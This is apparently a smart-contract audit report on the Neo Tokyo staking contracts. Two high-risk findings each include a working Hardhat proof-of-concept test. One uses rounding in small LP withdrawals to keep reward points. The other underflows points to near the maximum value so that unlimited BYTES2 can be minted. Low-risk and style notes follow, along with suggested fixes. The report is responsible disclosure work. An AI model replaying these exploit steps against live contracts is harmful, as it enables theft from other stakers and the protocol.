Neo Tokyo contest - DadeKuma's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623-L1630 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1388-L1392

Vulnerability details

In NeoTokyoStaker, users can stake their LP to get staking rewards after a specific timeframe. This mechanism works through a point system, which keeps track of the staking rewards.

Points are added when a user stakes their LP tokens, and they are removed after a withdrawal:

File: contracts/staking/NeoTokyoStaker.sol

1622: 		unchecked {
1623: 			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
1624: 
1625: 			// Update the caller's LP token stake.
1626: 			lpPosition.amount -= amount;
1627: 			lpPosition.points -= points;
1628: 
1629: 			// Update the pool point weights for rewards.
1630: 			pool.totalPoints -= points;
1631: 		}

However, with a small withdrawal, users are still able to withdraw from the LP, but their points will not decrease.

This can lead to a situation where users are able to withdraw all of their funds through a lot of small withdrawals, but their points will be non-zero, and thus users are able to reap staking rewards for free.

The worse thing is that also the pool.totalPoints will not decrease, and it will lead to a total loss for other users, because they are used to calculate the staking reward:

File: contracts/staking/NeoTokyoStaker.sol

1388: 		uint256 share = points * _PRECISION / pool.totalPoints * totalReward;
1389: 		uint256 daoShare = share * pool.daoTax / (100 * _DIVISOR);
1390: 		share /= _PRECISION;
1391: 		daoShare /= _PRECISION;
1392: 		return ((share - daoShare), daoShare);

Eventually pool.totalPoints can be inflated to a point where other users and the DAO will always get nothing as a reward, because if points * _PRECISION < pool.totalPoints * totalReward then share will round to zero.

Impact

Users can inflate their LP points an infinite number of times, leading to free staking rewards for them, and a loss for all other users due to fake LP inflation.

Proof of Concept

1. Alice stakes all of her LP tokens for a specific timeframe
2. After the timeframe ends, Alice performs a lot of small LP withdrawals where amount * 100 < 1e18 (she can bundle it in a single transaction to save a lot of gas)
3. She continues until her funds are all withdrawn, but her points do not decrease
4. Alice can now call BYTES2 getReward to reap staking rewards, even if she doesn't have anything staked
5. She can continue to do step 4 anytime she wants to get the same rewards for free, or repeat steps 1-3 to inflate her points even more, to either get more rewards or to DoS the staking system so that other users will get nothing, as also pool.totalPoints grows higher

Run the following test inside NeoTokyoStaker.test.js:

it.only('users can reap rewards without staking', async function () {			
	// Configure the LP token contract address on the staker.
	await NTStaking.connect(owner.signer).configureLP(LPToken.address);

	// Stake Alice's LP tokens for 30 days.
	await NTStaking.connect(alice.signer).stake(
		ASSETS.LP.id,
		TIMELOCK_OPTION_IDS['30'],
		ethers.utils.parseEther('4.5'),
		0,
		0
	);
	
	let priorBlockNumber = await ethers.provider.getBlockNumber();
	let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
	let aliceStakeTime = priorBlock.timestamp;
	let aliceBalanceInitial = await NTBytes2_0.balanceOf(alice.address);

	// Withdraw Alice's LP tokens.
	await ethers.provider.send('evm_setNextBlockTimestamp', [
		aliceStakeTime + (60 * 60 * 24 * 30)
	]);
	let aliceInitialLpBalance = await LPToken.balanceOf(alice.address);

	//this can be bundled to a few transactions to save a lot of gas
	//it's possible to do about 250-300 withdrawals per transaction
	for (let i = 0; i < 500; ++i) {
		await NTStaking.connect(alice.signer).withdraw(
			ASSETS.LP.id,
			ethers.utils.parseEther('0.009') //0.009 * 500 = 4.5 ether
		);
	}

	let aliceLpBalance = await LPToken.balanceOf(alice.address);
	aliceLpBalance.sub(aliceInitialLpBalance).should.be.equal(
		ethers.utils.parseEther('4.5') //full withdrawal
	);

	expect(
		(await NTStaking.stakerLPPosition(alice.address)).points
	).to.be.eq(450); //points should be zero after full withdrawal, but they are not

	//get free rewards
	await NTCitizenDeploy.connect(alice.signer).getReward();
	// Confirm Alice has received her reward.
	let aliceBalance = await NTBytes2_0.balanceOf(alice.address);
	aliceBalance.sub(aliceBalanceInitial).should.be.closeTo(
		ethers.BigNumber.from('1455280671296294526720'),
		ethers.BigNumber.from('1000000000')
	);
	
	// Alice can reap rewards any time she wants, but she has nothing staked.
	await ethers.provider.send('evm_setNextBlockTimestamp', [
		aliceStakeTime + (60 * 60 * 24 * 31)
	]);
	
	await NTCitizenDeploy.connect(alice.signer).getReward();
	aliceBalance = await NTBytes2_0.balanceOf(alice.address);
	aliceBalance.sub(aliceBalanceInitial).should.be.closeTo(
		ethers.BigNumber.from('1503499999999998171789'),
		ethers.BigNumber.from('1000000000')
	);
	
	//confirms that Alice still has nothing staked
	expect(
		(await NTStaking.stakerLPPosition(alice.address)).amount
	).to.be.eq(0);
});

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Each LP withdrawal should remove a minimum of 1 point to avoid this type of attack.

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1155-L1161 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623-L1627

Vulnerability details

Alice can stake a small amount of LP tokens:

File: contracts/staking/NeoTokyoStaker.sol

1154: 		unchecked {
1155: 			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
1156: 
1157: 			// Update the caller's LP token stake.
1158: 			stakerLPPosition[msg.sender].timelockEndTime =
1159: 				block.timestamp + timelockDuration;
1160: 			stakerLPPosition[msg.sender].amount += amount;
1161: 			stakerLPPosition[msg.sender].points += points;
1162: 
1163: 			// Update the pool point weights for rewards.
1164: 			pool.totalPoints += points;
1165: 		}

If the total amount is low enough (amount * 100 < 1e18) it will round to zero. Her funds are transferred, but she receives zero points.

She can repeat these small deposits an infinite number of times, and the total sum deposited can grow, but her points stay at zero.

After some time has passed, she decides to withdraw her full amount. However, now her points will not be zero if amount * 100 > 1e18:

File: contracts\staking\NeoTokyoStaker.sol

1622: 		unchecked {
1623: 			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
1624: 
1625: 			// Update the caller's LP token stake.
1626: 			lpPosition.amount -= amount;
1627: 			lpPosition.points -= points;
1628: 
1629: 			// Update the pool point weights for rewards.
1630: 			pool.totalPoints -= points;
1631: 		}

This is a big problem, because lpPosition.points underflows, so Alice has now uint256.max points, completely breaking the staking mechanism, as she can now steal all the funds, because she's able to mint an infinite amount of BYTES2 by calling claimReward.

Impact

Users can steal all the funds by underflowing their points to uint256.max, and claiming the rewards. In this way, they are able to mint an infinite amount of BYTES2.

Proof of Concept

Copy the following test inside NeoTokyoStarter.test.js:

it.only('users can steal all the funds', async function () {
	let priorBlockNumber = await ethers.provider.getBlockNumber();
	let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
	let aliceStakeTime = priorBlock.timestamp;
	let aliceBalanceInitial = await NTBytes2_0.balanceOf(alice.address);

	// Configure the LP token contract address on the staker.
	await NTStaking.connect(owner.signer).configureLP(LPToken.address);

	//let's suppose a non zero total pool
	await NTStaking.connect(bob.signer).stake(
		ASSETS.LP.id,
		TIMELOCK_OPTION_IDS['30'],
		ethers.utils.parseEther('1'),
		citizenNoVault,
		vaultIdNoVault,
	);
	
	// Stake Alice's LP tokens until funds are high enough to not
        // round to zero on withdrawal
	for (let i = 0; i < 12; ++i) {
		await NTStaking.connect(alice.signer).stake(
			ASSETS.LP.id,
			TIMELOCK_OPTION_IDS['30'],
			ethers.utils.parseEther('0.009'), //1e15
			0,
			0
		);
		await ethers.provider.send('evm_setNextBlockTimestamp', [
			aliceStakeTime + (60 * 60 * 24 * 30 * (i+1))
		]);
	}

	let alicePosition = await NTStaking.stakerLPPosition(alice.address);
	expect(alicePosition.points).to.be.eq(0); //alice has zero points
	expect(alicePosition.amount).to.be.eq(ethers.utils.parseEther('0.108')); //but she has a deposit
        
        //Alice withdraws everything
	await NTStaking.connect(alice.signer).withdraw(
		ASSETS.LP.id,
		ethers.utils.parseEther('0.108')
	);

	let aliceFinalPosition = await NTStaking.stakerLPPosition(alice.address);
	expect(aliceFinalPosition.points).to.be.eq(
		"115792089237316195423570985008687907853269984665640564039457584007913129639926" //~uint256.max
	);
	expect(aliceFinalPosition.amount).to.be.eq(0);
	
	//wait another month
	await ethers.provider.send('evm_setNextBlockTimestamp', [
		aliceStakeTime + (60 * 60 * 24 * 30 * (13))
	]);
	await NTCitizenDeploy.connect(alice.signer).getReward();
	let aliceBalance = await NTBytes2_0.balanceOf(alice.address);

	//alice can now mint an infinite amount of BYTES2, completely breaking the protocol
	aliceBalance.sub(aliceBalanceInitial).should.be.closeTo(
		ethers.BigNumber.from('115780510028392463804028627910187039062484657505507333316290168169'),
		ethers.BigNumber.from('1000000000')
	);

	//she can repeat getting rewards any time she wants
	await ethers.provider.send('evm_setNextBlockTimestamp', [
		aliceStakeTime + (60 * 60 * 24 * 30 * (14))
	]);
	await NTCitizenDeploy.connect(alice.signer).getReward();
	aliceBalance = await NTBytes2_0.balanceOf(alice.address);

	aliceBalance.sub(aliceBalanceInitial).should.be.closeTo(
		ethers.BigNumber.from('231561020056784927608057255820374078124969315011014666632580336338'),
		ethers.BigNumber.from('1000000000')
	);
});

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Revert the transaction if a stake would result in zero points accrued.

Summary

---

Low Risk Findings

Total: 11 instances over 3 issues.

Non Critical Findings

Total: 14 instances over 3 issues.

Low Risk Findings

---

[L-01] Hardcoded default vaultMultiplier

Use a default key inside vaultCreditMultiplier like the other multipliers instead.

There is 1 instance of this issue.

File: contracts/staking/NeoTokyoStaker.sol

946: 				uint256 vaultMultiplier = 100;
947: 				if (handClaimant == 1) {
948: 					uint256 identityId = citizen.getIdentityIdOfTokenId(citizenId);
949: 					string memory class = IGenericGetter(IDENTITY).getClass(identityId);
950: 					if (_stringEquals(class, "Hand of Citadel")) {
951: 						vaultMultiplier = vaultCreditMultiplier["?"];
952: 					} else {

[L-02] Check for assetType should be > 3 instead of > 4

There are only four valid values for assetType, not five (> 4 implies that also id 4 is valid, but only ids 0, 1, 2 ,3 are valid).

There is 1 instance of this issue.

File: contracts/staking/NeoTokyoStaker.sol

1205: 				if (uint8(_assetType) > 4) {
1668: 				if (uint8(_assetType) == 2 || uint8(_assetType) > 4) {

[L-03] Missing events in sensitive functions

Events should be emitted when sensitive changes are made to the contracts, but some functions lack them.

There are 9 instances of this issue.

<details> <summary>Expand findings</summary>

File: contracts/staking/BYTES2.sol

189: 			function updateReward (
190: 				address,
191: 				address,
192: 				uint256
193: 			) external {
194: 			}

204: 			function updateRewardOnMint (
205: 				address,
206: 				uint256
207: 			) external {
208: 			}


File: contracts/staking/NeoTokyoStaker.sol

1708: 			function configureLP (
1709: 				address _lp
1710: 			) external hasValidPermit(UNIVERSAL, CONFIGURE_LP) {
1711: 				if (lpLocked) {
1712: 					revert LockedConfigurationOfLP();
1713: 				}
1714: 				LP = _lp;
1715: 			}

1737: 			function configureTimelockOptions (
1738: 				AssetType _assetType,
1739: 				uint256[] memory _timelockIds,
1740: 				uint256[] memory _encodedSettings
1741: 			) external hasValidPermit(bytes32(uint256(_assetType)), CONFIGURE_TIMELOCKS) {
1742: 				for (uint256 i; i < _timelockIds.length; ) {
1743: 					timelockOptions[_assetType][_timelockIds[i]] = _encodedSettings[i];
1744: 					unchecked { ++i; }
1745: 				}
1746: 			}

1760: 			function configureIdentityCreditYields (
1761: 				uint256[] memory _citizenRewardRates, 
1762: 				string[] memory _vaultRewardRates,
1763: 				string[] memory _identityCreditYields
1764: 			) hasValidPermit(UNIVERSAL, CONFIGURE_CREDITS) external {
1765: 				for (uint256 i; i < _citizenRewardRates.length; ) {
1766: 					identityCreditYield[
1767: 						_citizenRewardRates[i]
1768: 					][
1769: 						_vaultRewardRates[i]
1770: 					] = _identityCreditYields[i];
1771: 					unchecked { ++i; }
1772: 				}
1773: 			}

1783: 			function configureIdentityCreditPoints (
1784: 				string[] memory _identityCreditYields,
1785: 				uint256[] memory _points
1786: 			) hasValidPermit(UNIVERSAL, CONFIGURE_CREDITS) external {
1787: 				for (uint256 i; i < _identityCreditYields.length; ) {
1788: 					identityCreditPoints[_identityCreditYields[i]] = _points[i];
1789: 					unchecked { ++i; }
1790: 				}
1791: 			}

1802: 			function configureVaultCreditMultipliers (
1803: 				string[] memory _vaultCreditMultipliers,
1804: 				uint256[] memory _multipliers
1805: 			) hasValidPermit(UNIVERSAL, CONFIGURE_CREDITS) external {
1806: 				for (uint256 i; i < _vaultCreditMultipliers.length; ) {
1807: 					vaultCreditMultiplier[_vaultCreditMultipliers[i]] = _multipliers[i];
1808: 					unchecked { ++i; }
1809: 				}
1810: 			}

1819: 			function configurePools (
1820: 				PoolConfigurationInput[] memory _inputs
1821: 			) hasValidPermit(UNIVERSAL, CONFIGURE_POOLS) external {
1822: 				for (uint256 i; i < _inputs.length; ) {
1823: 					uint256 poolRewardWindowCount = _inputs[i].rewardWindows.length;
1824: 					_pools[_inputs[i].assetType].rewardCount = poolRewardWindowCount;
1825: 					_pools[_inputs[i].assetType].daoTax = _inputs[i].daoTax;
1826: 		
1827: 					// Set the pool reward window details by populating the mapping.
1828: 					uint256 lastTime;
1829: 					for (uint256 j; j < poolRewardWindowCount; ) {
1830: 						_pools[_inputs[i].assetType].rewardWindows[j] =
1831: 							_inputs[i].rewardWindows[j];
1832: 		
1833: 						// Revert if an invalid pool configuration is supplied.
1834: 						if (j != 0 && _inputs[i].rewardWindows[j].startTime <= lastTime) {
1835: 							revert RewardWindowTimesMustIncrease();
1836: 						}
1837: 						lastTime = _inputs[i].rewardWindows[j].startTime;
1838: 						unchecked { j++; }
1839: 					}
1840: 					unchecked { ++i; }
1841: 				}
1842: 			}

1851: 			function configureCaps (
1852: 				uint256 _vaultedCap,
1853: 				uint256 _unvaultedCap
1854: 			) hasValidPermit(UNIVERSAL, CONFIGURE_CAPS) external {
1855: 				VAULT_CAP = _vaultedCap;
1856: 				NO_VAULT_CAP = _unvaultedCap;
1857: 			}

</details>

---

Non Critical Findings

---

[NC-01] Use of constant variables instead of immutable

Constant variables and immutable variables serve different purposes and should be used accordingly.

To clarify, constant variables are used for literal values in the code, whereas immutable variables are ideal for values calculated or passed into the constructor.

There are 7 instances of this issue.

File: contracts/staking/BYTES2.sol

37: 			bytes32 public constant BURN = keccak256("BURN");

40: 			bytes32 public constant ADMIN = keccak256("ADMIN");


File: contracts/staking/NeoTokyoStaker.sol

206: 			bytes32 public constant CONFIGURE_LP = keccak256("CONFIGURE_LP");

209: 			bytes32 public constant CONFIGURE_TIMELOCKS = keccak256(
210: 				"CONFIGURE_TIMELOCKS"
211: 			);

214: 			bytes32 public constant CONFIGURE_CREDITS = keccak256("CONFIGURE_CREDITS");

217: 			bytes32 public constant CONFIGURE_POOLS = keccak256("CONFIGURE_POOLS");

220: 			bytes32 public constant CONFIGURE_CAPS = keccak256("CONFIGURE_CAPS");

[NC-02] Use of floating pragma

Locking the pragma helps avoid accidental deploys with an outdated compiler version that may introduce bugs and unexpected vulnerabilities.

Floating pragma is meant to be used for libraries and contracts that have external users and need backward compatibility.

There are 2 instances of this issue.

File: contracts/staking/BYTES2.sol

2: 		pragma solidity ^0.8.19;


File: contracts/staking/NeoTokyoStaker.sol

2: 		pragma solidity ^0.8.19;

[NC-03] Missing or incomplete NatSpec

Some functions miss a NatSpec, or they have an incomplete one. It is recommended that contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI).

Include either @notice and/or @dev to describe how the function is supposed to work, a @param to describe each parameter, and a @return for any return values.

There are 5 instances of this issue.

<details> <summary>Expand findings</summary>

File: contracts/staking/BYTES2.sol

179: 			/**
180: 				This function is called by the S1 Citizen contract before an NFT transfer 
181: 				and before a call to `getReward`. For historical reasons it must be left 
182: 				here as a stub and cannot be entirely removed, though now it remains as a 
183: 				no-op.
184: 		
185: 				@custom:param A throw-away parameter to fulfill the Citizen call.
186: 				@custom:param A throw-away parameter to fulfill the Citizen call.
187: 				@custom:param A throw-away parameter to fulfill the Citizen call.
188: 			*/
189: 			function updateReward (

196: 			/**
197: 				This function is called by the S1 Citizen contract when a new citizen is 
198: 				minted. For historical reasons it must be left here as a stub and cannot be 
199: 				entirely removed, though now it remains as a no-op.
200: 		
201: 				@custom:param A throw-away parameter to fulfill the Citizen call.
202: 				@custom:param A throw-away parameter to fulfill the Citizen call.
203: 			*/
204: 			function updateRewardOnMint (


File: contracts/staking/NeoTokyoStaker.sol

1176: 			/**
1177: 				Stake a particular asset into this contract, updating its corresponding 
1178: 				rewards.
1179: 		
1180: 				@param _assetType An ID of the specific asset that the caller is attempting 
1181: 					to deposit into this staker.
1182: 				@param _timelockId The ID of a specific timelock period to select. This 
1183: 					timelock ID must be configured for the specific `_assetType`.
1184: 				@custom:param The third parameter is overloaded to have different meaning 
1185: 					depending on the `assetType` selected. In the event of staking an S1 or 
1186: 					S2 Citizen, this parameter is the token ID of the Citizen being staked. 
1187: 					In the event of staking BYTES or LP tokens, this parameter is the amount 
1188: 					of the respective token being staked.
1189: 				@custom:param If the asset being staked is an S1 Citizen, this is the ID of 
1190: 					a Vault to attempt to optionally attach.
1191: 				@custom:param If the asset being staked is an S1 Citizen, this is a flag to 
1192: 					attempt to claim a Hand of the Citadel bonus. If the asset being staked 
1193: 					is BYTES, this is either one or two to select the Neo Tokyo season ID of 
1194: 					the S1 or S2 Citizen that BYTES are being staked into.
1195: 			*/
1196: 			function stake (

1398: 			/**
1399: 				Determine the reward, based on staking participation at this moment, of a 
1400: 				particular recipient. Due to a historic web of Neo Tokyo dependencies, 
1401: 				rewards are actually minted through the BYTES contract.
1402: 		
1403: 				@param _recipient The recipient to calculate the reward for.
1404: 		
1405: 				@return A tuple containing (the number of tokens due to be minted to 
1406: 					`_recipient` as a reward, and the number of tokens that should be minted 
1407: 					to the DAO treasury as a DAO tax).
1408: 			*/
1409: 			function claimReward (

1646: 			/**
1647: 				Withdraw a particular asset from this contract, updating its corresponding 
1648: 				rewards. A caller may only withdraw an asset provided they are the staker 
1649: 				and that timelocks are not violated.
1650: 		
1651: 				@param _assetType An ID of the specific asset that the caller is attempting 
1652: 					to withdraw from this staker.
1653: 				@custom:param The third parameter is overloaded to have different meaning 
1654: 					depending on the `assetType` selected. In the event of withdrawing an S1 
1655: 					or S2 Citizen, this is the token ID of the Citizen to attempt to 
1656: 					withdraw. In the event of withdrawing LP tokens, this is the amount of 
1657: 					the LP token to withdraw.
1658: 			*/
1659: 			function withdraw (

</details>

---